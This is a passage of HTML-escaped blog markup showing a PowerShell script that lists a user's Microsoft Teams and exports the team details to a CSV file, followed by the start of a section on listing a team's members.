&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;38&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#38&#34;&gt;38&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;39&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#39&#34;&gt;39&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;40&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#40&#34;&gt;40&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;41&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#41&#34;&gt;41&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;42&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#42&#34;&gt;42&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;43&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#43&#34;&gt;43&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;44&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#44&#34;&gt;44&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;45&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#45&#34;&gt;45&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;46&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#46&#34;&gt;46&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;47&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#47&#34;&gt;47&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;48&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#48&#34;&gt;48&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;49&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#49&#34;&gt;49&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;50&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#50&#34;&gt;50&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;51&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#51&#34;&gt;51&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;52&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#52&#34;&gt;52&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;53&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#53&#34;&gt;53&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;54&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#54&#34;&gt;54&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;55&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#55&#34;&gt;55&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;56&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#56&#34;&gt;56&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;57&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#57&#34;&gt;57&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;58&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#58&#34;&gt;58&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;59&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#59&#34;&gt;59&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;60&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#60&#34;&gt;60&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;61&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#61&#34;&gt;61&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;62&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#62&#34;&gt;62&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;63&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#63&#34;&gt;63&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;64&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#64&#34;&gt;64&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;65&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#65&#34;&gt;65&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;66&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#66&#34;&gt;66&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;67&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#67&#34;&gt;67&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;68&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#68&#34;&gt;68&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-powershell&#34; data-lang=&#34;powershell&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#Set these variables, to what makes sense in your situation. The email here is the one that is the one connected to your teams account.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$exportLocation&lt;/span&gt; = &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;C:\temp\team-details.csv&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$emailAddress&lt;/span&gt; = &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;your-email@shouldbeputhere.com&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#Authenticate against teams&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;Connect-MicrosoftTeams&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#Patience&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;Write-Host&lt;/span&gt; -ForegroundColor Blue &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Successfully connected to Teams&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;Write-Host&lt;/span&gt; -ForegroundColor Blue &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Getting all team details for user: &lt;/span&gt;$(&lt;span style=&#34;color:#f4dbd6&#34;&gt;$emailAddress&lt;/span&gt;)&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;Write-Host&lt;/span&gt; -ForegroundColor Blue &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Please be patient, if there are a lot of teams, this can take a while...&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Get all of the team Groups IDs&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# $GetUsersTeams = (Get-Team).GroupID&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$GetUsersTeams&lt;/span&gt; = &lt;span style=&#34;color:#91d7e3&#34;&gt;Get-Team&lt;/span&gt; -User &lt;span style=&#34;color:#f4dbd6&#34;&gt;$emailAddress&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$Report&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;@&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Will hold a basic count of user types and teams&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$unavailableTeamCount&lt;/span&gt; = &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Loop through all teams that the user belongs to&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$currentIndex&lt;/span&gt; = &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;ForEach&lt;/span&gt;(&lt;span style=&#34;color:#f4dbd6&#34;&gt;$thisTeam&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;in&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$GetUsersTeams&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Show some output to the user&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;Write-Progress&lt;/span&gt; -Id &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt; -Activity &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Building report from Microsoft Teams&amp;#34;&lt;/span&gt; -Status &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$currentIndex&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt; of &lt;/span&gt;$(&lt;span style=&#34;color:#f4dbd6&#34;&gt;$GetUsersTeams&lt;/span&gt;.Count)&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt; -PercentComplete ((&lt;span style=&#34;color:#f4dbd6&#34;&gt;$currentIndex&lt;/span&gt; / &lt;span style=&#34;color:#f4dbd6&#34;&gt;$GetUsersTeams&lt;/span&gt;.Count) * &lt;span style=&#34;color:#f5a97f&#34;&gt;100&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Attempt to get team details, throw error message if no access&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;try&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Get team members&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#$users = Get-TeamUser -GroupId $thisTeam.groupID&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Create an object to hold all values&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f4dbd6&#34;&gt;$teamReportObject&lt;/span&gt; = &lt;span style=&#34;color:#91d7e3&#34;&gt;New-Object&lt;/span&gt; PSObject -Property &lt;span style=&#34;color:#f4dbd6&#34;&gt;@&lt;/span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                GroupID = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$thisTeam&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;GroupID&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				TeamName = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$thisTeam&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;DisplayName&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                Description = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$thisTeam&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;Description&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                Archived = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$thisTeam&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;Archived&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                Visibility = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$thisTeam&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;Visibility&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				eMail = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$thisTeam&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;MailNickName&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Add to the report&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f4dbd6&#34;&gt;$Report&lt;/span&gt; += &lt;span style=&#34;color:#f4dbd6&#34;&gt;$teamReportObject&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    } &lt;span style=&#34;color:#c6a0f6&#34;&gt;catch&lt;/span&gt; [&lt;span style=&#34;color:#eed49f&#34;&gt;Microsoft.TeamsCmdlets.PowerShell.Custom.ErrorHandling.ApiException&lt;/span&gt;] {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;Write-Host&lt;/span&gt; -ForegroundColor Yellow &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;No access to &lt;/span&gt;$(&lt;span style=&#34;color:#f4dbd6&#34;&gt;$team&lt;/span&gt;.DisplayName)&lt;span style=&#34;color:#a6da95&#34;&gt; team, cannot generate report&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f4dbd6&#34;&gt;$unavailableTeamCount&lt;/span&gt;++
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f4dbd6&#34;&gt;$currentIndex&lt;/span&gt;++
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;Write-Progress&lt;/span&gt; -Id &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt; -Activity &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34; &amp;#34;&lt;/span&gt; -Status &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34; &amp;#34;&lt;/span&gt; -Completed
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Disconnect from teams&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;Disconnect-MicrosoftTeams&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Provide some nice output&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;Write-Host&lt;/span&gt; -ForegroundColor Green &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;============================================================&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;Write-Host&lt;/span&gt; -ForegroundColor Green &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;                Microsoft Teams User Report                 &amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;Write-Host&lt;/span&gt; -ForegroundColor Green &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;Write-Host&lt;/span&gt; -ForegroundColor Green &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;  Count of All Teams - &lt;/span&gt;$(&lt;span style=&#34;color:#f4dbd6&#34;&gt;$GetUsersTeams&lt;/span&gt;.Count)&lt;span style=&#34;color:#a6da95&#34;&gt;                &amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;Write-Host&lt;/span&gt; -ForegroundColor Green &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;  Count of Inaccesible Teams - &lt;/span&gt;$(&lt;span style=&#34;color:#f4dbd6&#34;&gt;$unavailableTeamCount&lt;/span&gt;)&lt;span style=&#34;color:#a6da95&#34;&gt;         &amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;Write-Host&lt;/span&gt; -ForegroundColor Green &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$Report&lt;/span&gt; | &lt;span style=&#34;color:#91d7e3&#34;&gt;Export-CSV&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$exportLocation&lt;/span&gt; -NoTypeInformation -Force
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;Write-Host&lt;/span&gt; -ForegroundColor Blue &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Exported report to &lt;/span&gt;$(&lt;span style=&#34;color:#f4dbd6&#34;&gt;$exportLocation&lt;/span&gt;)&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3 id=&#34;getting-team-members-using-powershell&#34;&gt;Getting Team members using PowerShell&lt;/h3&gt;
&lt;p&gt;Now that you have the Team ID you are interested, you can run the other PowerShell script (&lt;a
	
		href = &#34;https://github.com/bahree/teams&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		also available on GitHub
	&lt;/span&gt;
&lt;/a&gt;) to get a list of all the users in a specific team. Like the previous script, you would need set a couple of variables in the script:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The Team ID for the team you are interested in.&lt;/li&gt;
&lt;li&gt;Path for the csv file with details to be saved.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Once you have authenticated and ran the script, the output will look like the one shown below. You get a summary of the team details, and details of the Teams users and their type (owner, member, or guest). And just like earlier, the file will be overwritten without a prompt, assuming no locks on it.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;https://i0.wp.com/www.desigeek.com/blog/amit/wp-content/uploads/2020/06/team-users.png?fit=660%2C587&amp;amp;ssl=1&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Members of a Microsoft Team&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
